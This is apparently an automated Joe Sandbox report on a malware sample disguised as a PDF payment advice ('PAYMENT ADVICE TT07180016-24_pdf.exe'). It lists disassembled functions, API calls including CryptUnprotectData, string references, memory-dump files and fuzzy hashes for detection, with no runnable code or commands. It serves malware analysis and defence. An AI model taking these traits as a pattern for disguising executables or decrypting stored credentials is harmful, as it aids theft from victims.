Function 00403809 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,74DF3420,00000000,C:\Users\user\AppData\Local\Temp\,004037E1,004035F6,?), ref: 00403823
GlobalFree.KERNEL32(?), ref: 0040382A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403809

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3081826266
Opcode ID: 5898abf10019027861f76b75f8a0bd4982bc330ca6c5028dc7fe5a6e65d5b297
Instruction ID: 1a021970d57ae41c51ef9a97853206db199f5c9852ffd88fd16926185a7b9e14
Opcode Fuzzy Hash: 5898abf10019027861f76b75f8a0bd4982bc330ca6c5028dc7fe5a6e65d5b297
Instruction Fuzzy Hash: 72E0EC3350162097C7216F55BD08B6AB7ACAF4DB22F4584BAE880BB2608B745C428BD8

Function 00405A55 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe,C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405A5B
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe,C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405A6B

Strings

C:\Users\user\Desktop, xrefs: 00405A55

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction ID: bc07cd37d8a58f62a2b9a6dad95115890aa924a9f687d43278fd1307a4d4e217
Opcode Fuzzy Hash: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction Fuzzy Hash: 7ED05EB2400D209AD312A714DC84DAF77ACEF1530074A446BF441A31A0D7785D918AA9

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2036183059.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2036170525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2036195897.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2036208769.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction ID: f345eba8489605592ce73ef35c78e6b42925bf5f5eceaf1f60f0973e38c56604
Opcode Fuzzy Hash: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction Fuzzy Hash: AE318FF6904211DBF314CF64DC859EA77E8EB853D0B12452AFB45E726CEB34E8018765

Function 00405B8F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405BB7
CharNextA.USER32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BC8
lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction ID: ee410971918da6c20df7c5ac797640abd601cb5b02c8e88895b13af08820b85c
Opcode Fuzzy Hash: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction Fuzzy Hash: 22F06231104958AFC7029BA5DD4099FBBB8EF55254B2540A9E840F7211D674FE019BA9

Analysis Process: PAYMENT ADVICE TT07180016-24_pdf.exePID: 7788, Parent PID: 7380COMMON

Execution Graph

Execution Coverage:	11.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.5%
Total number of Nodes:	236
Total number of Limit Nodes:	13

Executed Functions

Function 001666B8 Relevance: 10.5, Strings: 8, Instructions: 457
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 00166BC7
(o^q, xrefs: 001667DD
(o^q, xrefs: 001666F6
(o^q, xrefs: 0016687A
(o^q, xrefs: 001667B1
(o^q, xrefs: 00166BD7
,bq, xrefs: 00166B58
,bq, xrefs: 00166B68

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$(o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-1932283790
Opcode ID: 34af1c601d5dd638dbdc39b2a5684f7da8112f023738772160a86786699b5a59
Instruction ID: 5b11e6255d6181cdc82e79e52543bdc9b2c43c11aadd7ae905a69579c0b40b25
Opcode Fuzzy Hash: 34af1c601d5dd638dbdc39b2a5684f7da8112f023738772160a86786699b5a59
Instruction Fuzzy Hash: 3E126A30A00609DFCB14CF69D984AAEBBF2FF88314F158569E849EB261DB31ED55CB50

Function 001619B8 Relevance: 8.5, Strings: 6, Instructions: 969
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xbq, xrefs: 00161B2F
Xbq, xrefs: 00161AB0
Xbq, xrefs: 00161A76
Xbq, xrefs: 00162CBE
Xbq, xrefs: 00162C95
Xbq, xrefs: 00161B7C

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq$Xbq$Xbq
API String ID: 0-1317942629
Opcode ID: a1dd7ea1f249bd4671792078a6fbf9156de8ce2f2ec5b834aa9637061f361050
Instruction ID: 422eaf58e8ce02b9b9fe06eff4f2d5936a37c4b734015352dc08499b8af20e4f
Opcode Fuzzy Hash: a1dd7ea1f249bd4671792078a6fbf9156de8ce2f2ec5b834aa9637061f361050
Instruction Fuzzy Hash: 61725E2960D3D29FDB224F305CFB595BFE09E4314576D0ADEE0C1660A3DA6A87A9C313

Function 00165F90 Relevance: 6.7, Strings: 5, Instructions: 469
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 001661E8
,bq, xrefs: 00166260
(o^q, xrefs: 00166505
(o^q, xrefs: 001661DA
,bq, xrefs: 00166252

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-2525668591
Opcode ID: 6cec26b0b1c2e2a21dda1d25dc3eed702e6f098636c152a218344a7cbc245aad
Instruction ID: 4c21968f3baa2b9a916c0db4108fbb4455d2a7e40e6eaea616e7dda556b32678
Opcode Fuzzy Hash: 6cec26b0b1c2e2a21dda1d25dc3eed702e6f098636c152a218344a7cbc245aad
Instruction Fuzzy Hash: 0B124C31A00219DFCB14CFA9DD94AAEBBF2FF89314F158069E815AB261DB30DD65CB50

Function 00164328 Relevance: 6.4, Strings: 5, Instructions: 196
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ljs, xrefs: 0016452E
0os, xrefs: 001643AA
PH^q, xrefs: 001645A1
PH^q, xrefs: 00164590
Ljs, xrefs: 00164518

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: 0os$Ljs$Ljs$PH^q$PH^q
API String ID: 0-1454975990
Opcode ID: dce691e31660a1aa28f38b05477c0870e8781965bfc633bda775ec528ee99080
Instruction ID: d06fa608e4c355ac726a5c4ee43b470427973fc63c7287e8c33540a8c418b72f
Opcode Fuzzy Hash: dce691e31660a1aa28f38b05477c0870e8781965bfc633bda775ec528ee99080
Instruction Fuzzy Hash: 7491D574E00218DFDB18DFAAD884A9DBBF2BF89300F14C169E409AB365DB349945CF50

Function 00168DA0 Relevance: 6.1, Strings: 4, Instructions: 1142COMMON

Download Yara Rule

Strings

4'^q, xrefs: 00169AD3
(o^q, xrefs: 001694D8
4'^q, xrefs: 00168DC4
4'^q, xrefs: 00168ECC

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: (o^q$4'^q$4'^q$4'^q
API String ID: 0-183542557
Opcode ID: b4f8bf96c4bd231d9960481fad356060b3d80d530a5e9c9fc4f8d394298e291c
Instruction ID: c67c948144de9a39feaa8a92dc8fa79165565df60b5928bb63e30c214589398c
Opcode Fuzzy Hash: b4f8bf96c4bd231d9960481fad356060b3d80d530a5e9c9fc4f8d394298e291c
Instruction Fuzzy Hash: 86A27F71A04209DFCB15CFA8C994AAEBBF6BF88310F158569E405DB361DB31ED91CB90

Function 37A5E7C8 Relevance: 3.3, Strings: 2, Instructions: 764
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(y4, xrefs: 37A5EDC7, 37A5F226
Te^q, xrefs: 37A5F17D

Memory Dump Source

Source File: 00000004.00000002.2961153208.0000000037A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37a50000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: Te^q$(y4
API String ID: 0-104613788
Opcode ID: 57ac5d4c51caf0ca87c4fbc5e5f60cec9785feec0043b81cb1b95c795fb67470
Instruction ID: 940e9f4d6b5ee2a3a9dea6bfcf34811b7a23b090444065d01b9edfcf2b07da4c
Opcode Fuzzy Hash: 57ac5d4c51caf0ca87c4fbc5e5f60cec9785feec0043b81cb1b95c795fb67470
Instruction Fuzzy Hash: AC82B274A00228CFDB25DF65D994BADB7B2FB89301F1085E9D909A7364DB319E82CF50

Function 3752BDF0 Relevance: 3.3, Strings: 2, Instructions: 758COMMON

Download Yara Rule

Strings

Te^q, xrefs: 3752C796
(y4, xrefs: 3752C3DF, 3752C83F

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: Te^q$(y4
API String ID: 0-104613788
Opcode ID: ccd9b2d35b6d5d7d43341e0e81afc380b6ec33d7b54fa763a681a3704913e35e
Instruction ID: 5c0e72e1392b7acf69f8ac2a837429c989cc573aab892f7a9fe982c28297c7c8
Opcode Fuzzy Hash: ccd9b2d35b6d5d7d43341e0e81afc380b6ec33d7b54fa763a681a3704913e35e
Instruction Fuzzy Hash: B772C278A00218CFDB25DF65D994BA9B7B2FB89300F1085E9D809B7364CB319E82DF50

Function 00165968 Relevance: 3.0, Strings: 2, Instructions: 513COMMON

Download Yara Rule

Strings

Hbq, xrefs: 00165D6E
(o^q, xrefs: 00165EA2

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: (o^q$Hbq
API String ID: 0-662517225
Opcode ID: 19343db53a6985383de9f6280b665ed295a0d6afcf09f5e4a10044b824480a22
Instruction ID: 8fe71031df084263905432171ba29d6c6bf71e1a8a39609da947c7aedccb0e7d
Opcode Fuzzy Hash: 19343db53a6985383de9f6280b665ed295a0d6afcf09f5e4a10044b824480a22
Instruction Fuzzy Hash: AD125D70A006199FDB14DFA9C894AAEBBF6FF88300F248569E545DB3A1DF309D51CB90

Function 37A5D6C1 Relevance: 1.8, APIs: 1, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2961153208.0000000037A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37a50000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3aa583321385bc256edf668bfcd157a7fc236234148f94b670ab965b7297be78
Instruction ID: c7a618d5746fe8151717fcaef5288875be583dff1ae981b8ec18e48ecb7472ff
Opcode Fuzzy Hash: 3aa583321385bc256edf668bfcd157a7fc236234148f94b670ab965b7297be78
Instruction Fuzzy Hash: 17D17A74A00309DFEB04DFA5C888B9DBBF2BF84324F158558E864AB265DB74E945CF81

Function 3747D9D9 Relevance: 1.6, APIs: 1, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(00000051,?,00000000,?,?,?,?), ref: 3747DA45

Memory Dump Source

Source File: 00000004.00000002.2960763460.0000000037470000.00000040.00000800.00020000.00000000.sdmp, Offset: 37470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37470000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 47c2c57f843c624253db5254f26a9741aadb68fe7f1438f4639b92b19031ab9e
Instruction ID: 3495955afae0d1c0ae6d88081cfb7db35273dca8cbe25d70280e2ce5296331df
Opcode Fuzzy Hash: 47c2c57f843c624253db5254f26a9741aadb68fe7f1438f4639b92b19031ab9e
Instruction Fuzzy Hash: B81179B6800249DFCB10CF99C804BDEBFF5EF48320F108419EA54A7211C339A590CFA5

Function 3747D1EC Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(00000051,?,00000000,?,?,?,?), ref: 3747DA45

Memory Dump Source

Source File: 00000004.00000002.2960763460.0000000037470000.00000040.00000800.00020000.00000000.sdmp, Offset: 37470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37470000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: d1dde5d364c7185e6cc9604742e215e4aca0b009cb6a509c76aeeaf6c2f51a1e
Instruction ID: 135797d597bfec6c3c24cb12a10ca440723b99e4290e219ef0fbf057d0843281
Opcode Fuzzy Hash: d1dde5d364c7185e6cc9604742e215e4aca0b009cb6a509c76aeeaf6c2f51a1e
Instruction Fuzzy Hash: 881147B6800249AFDB10CF99C405BDEBFF4EF48320F108419E558A7211C335A550CFA5

Function 37529D10 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

0^H7, xrefs: 37529FF0

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: 0^H7
API String ID: 0-928007173
Opcode ID: 08b06e6a31576461c8c8a39ef8188cb6089b6f6a17c4a9ea7df405f84745ac63
Instruction ID: 828728d8641ac18cd2ad6ff65727c98057f6d58f179c2cb634635d790bbf259e
Opcode Fuzzy Hash: 08b06e6a31576461c8c8a39ef8188cb6089b6f6a17c4a9ea7df405f84745ac63
Instruction Fuzzy Hash: 66A180B5E012188FEB58CF6AD984B9DBBF2AF89300F14C0AAD408B7255DB745A85CF51

Function 3752A360 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

0^H7, xrefs: 3752A640

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: 0^H7
API String ID: 0-928007173
Opcode ID: 71ec827256ff34645315cdfcc4c79039f0af93a7b0c5bfd5216badda0be39d53
Instruction ID: e7076ca4d47a80fbb12c3a2ffa548c2e9cf7c59c0fff7f5b661e2e1dd6646e05
Opcode Fuzzy Hash: 71ec827256ff34645315cdfcc4c79039f0af93a7b0c5bfd5216badda0be39d53
Instruction Fuzzy Hash: B2A18375E012188FEB18CF6AC984B9EFBF2AF89300F14D0AAD408B7255DB345A85CF51

Function 375296C8 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

0^H7, xrefs: 375299A4

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: 0^H7
API String ID: 0-928007173
Opcode ID: d356d14a7a916fa3b68be373c03108fe22feb830df6ecb57abf5e9c09aa35203
Instruction ID: 3af0405b5d3363a2256efb03cfd4b594b22792f2a8659575f4f6d7612ccb7c0f
Opcode Fuzzy Hash: d356d14a7a916fa3b68be373c03108fe22feb830df6ecb57abf5e9c09aa35203
Instruction Fuzzy Hash: 3BA180B5E012188FEB68CF6AC944B9DFBF2AF89310F14D0AAD408B7255DB345A85CF11

Function 3752A9B0 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

0^H7, xrefs: 3752AC8B

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: 0^H7
API String ID: 0-928007173
Opcode ID: 837e057f32a2a0208d57cbf01b1865b28abf5ac626b1cc559589e4c51cf81f59
Instruction ID: 714f525a7f36207a394cc94f93d5bbe52082fc3b238a77009bf8a19223673706
Opcode Fuzzy Hash: 837e057f32a2a0208d57cbf01b1865b28abf5ac626b1cc559589e4c51cf81f59
Instruction Fuzzy Hash: AAA182B4E012188FEB18CF6AD984B9DFBF2AF89300F14D1AAD508B7255DB345A85CF51

Function 3752A9A0 Relevance: 1.4, Strings: 1, Instructions: 173COMMON

Download Yara Rule

Strings

0^H7, xrefs: 3752AC8B

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: 0^H7
API String ID: 0-928007173
Opcode ID: f2881a1ae3515c99fc968aa14a4672967e2f45b78afa628e0b07f92631484d4f
Instruction ID: 287608706dd081bf8682bd2330d7cb0976d84414a693c84bcda0a14f347b5621
Opcode Fuzzy Hash: f2881a1ae3515c99fc968aa14a4672967e2f45b78afa628e0b07f92631484d4f
Instruction Fuzzy Hash: 138174B4E016288FEB58CF6AC944B99FBF2AF89300F14C5AAD40CB7255DB345A85CF51

Function 375296B8 Relevance: 1.4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

Strings

0^H7, xrefs: 375299A4

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: 0^H7
API String ID: 0-928007173
Opcode ID: 7d3d54d7c2857946d1c170144ad2541ecef1d310e3b07a627656f9b75dd7aadd
Instruction ID: 97f9dda7f5c481662bacd50cff711aa6bb72ef6c3d5ce35df7a881a85474c553
Opcode Fuzzy Hash: 7d3d54d7c2857946d1c170144ad2541ecef1d310e3b07a627656f9b75dd7aadd
Instruction Fuzzy Hash: B77182B5E016188FEB68CF6AC944B99FBF2AF89300F14C1AAD40CB7255DB345A85CF51

Function 37528650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e948a7f9cf9b94e4002027f90db1e15f2eb3d8271e342b0510e11304c5277f84
Instruction ID: 1430fce43227bc8da69775e23864f62b908b610b8d19d34a91acbbe5c6a9eb42
Opcode Fuzzy Hash: e948a7f9cf9b94e4002027f90db1e15f2eb3d8271e342b0510e11304c5277f84
Instruction Fuzzy Hash: 6D72C274E012288FEB64DF69C980BDDBBB2BB49300F1495E9D408A7391DB34AE81DF50

Function 3747C638 Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960763460.0000000037470000.00000040.00000800.00020000.00000000.sdmp, Offset: 37470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37470000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a6b3ce92bfb6ebd6ea44c95d732f6e18308cb0d945e0768570c58b5ea766f55
Instruction ID: a9d783633e35b6f1322da3be209119bc8f1eeb34386f1b8665eede0b0df971e2
Opcode Fuzzy Hash: 2a6b3ce92bfb6ebd6ea44c95d732f6e18308cb0d945e0768570c58b5ea766f55
Instruction Fuzzy Hash: B6E1D174E01258CFEB54CFA5C984BDDBBB2AF89304F2081AAD418B7391DB355A86CF51

Function 374703AF Relevance: .3, Instructions: 286COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960763460.0000000037470000.00000040.00000800.00020000.00000000.sdmp, Offset: 37470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37470000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d22718960cf26089e49a83c09f725a2c2878445fc6529156999b62fdbf59f764
Instruction ID: 8260e6b43fd9b4eac3b9ce0ce61069e5599c81c9dea11738f7ef271627517103
Opcode Fuzzy Hash: d22718960cf26089e49a83c09f725a2c2878445fc6529156999b62fdbf59f764
Instruction Fuzzy Hash: 54D1C274E01218CFDB54DFA5C994BDDBBB2BF88304F1080A9D419A7364DB35AA86CF51

Function 37470C1A Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960763460.0000000037470000.00000040.00000800.00020000.00000000.sdmp, Offset: 37470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37470000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 429c9a2ba3bc42cfdad2ec66dfd2081b81367ec22e7ab526fdaff7a9f3bdb4b4
Instruction ID: 320fb59cd2c56a7797c5215d2d787269d5c17bc23bbc74782fd0710308dc3e31
Opcode Fuzzy Hash: 429c9a2ba3bc42cfdad2ec66dfd2081b81367ec22e7ab526fdaff7a9f3bdb4b4
Instruction Fuzzy Hash: 3FA10570D01208CFEB10DFA9C984BDDBBB1BF89314F209269E558A73A1DB74A985CF51

Function 37470C28 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960763460.0000000037470000.00000040.00000800.00020000.00000000.sdmp, Offset: 37470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37470000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3962e9acb35284adad9be10b7f65c16cc0c12d21dca134afb4f30e508df57a12
Instruction ID: ca24e1a1104d135d2324a399c756f48828d2d6eade380c3d73db4352941d6957
Opcode Fuzzy Hash: 3962e9acb35284adad9be10b7f65c16cc0c12d21dca134afb4f30e508df57a12
Instruction Fuzzy Hash: 79A10670D01208CFDB10DFA9C5847DDBBB1BF89314F209269E518A73A1DB74A985CF55

Function 37470F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960763460.0000000037470000.00000040.00000800.00020000.00000000.sdmp, Offset: 37470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37470000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34f46b1e9d85e8133062f05a32db774b800961f1ad72346b5e9482fa6329dfb2
